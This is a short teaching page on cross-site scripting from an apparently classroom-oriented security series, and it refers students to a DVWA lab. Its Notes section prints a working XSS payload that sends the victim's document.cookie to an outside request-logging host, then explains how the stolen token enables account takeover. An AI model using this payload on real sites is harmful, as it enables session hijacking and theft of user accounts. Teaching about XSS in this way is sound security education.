vulnerability-of-the-day

Concrete. Relevant. Simple.

Home Code on GitHub Catalog Resources

Cross-Site Scripting (XSS)

Description

See CWE-79

Mitigations

Historical Examples

Notes

  <script>
  x = new XMLHttpRequest();
  x.open("GET", "http://requestb.in/13x2ec31?s=" + document.cookie, true);
  x.send();
  </script>
 

The above snippet is a silent AJAX call to a remote site, which an attacker then monitors anonymously, stealing your authentication token. Having the authentication token gives the attacker the ability to log in as the victim (as long as they stay logged in). From there, the attacker can can reset passwords, set up other accounts, set up permanent scripts, anything.

Running the Demo

For this one you will need an installation of DVWA, which your instructor can provide for you.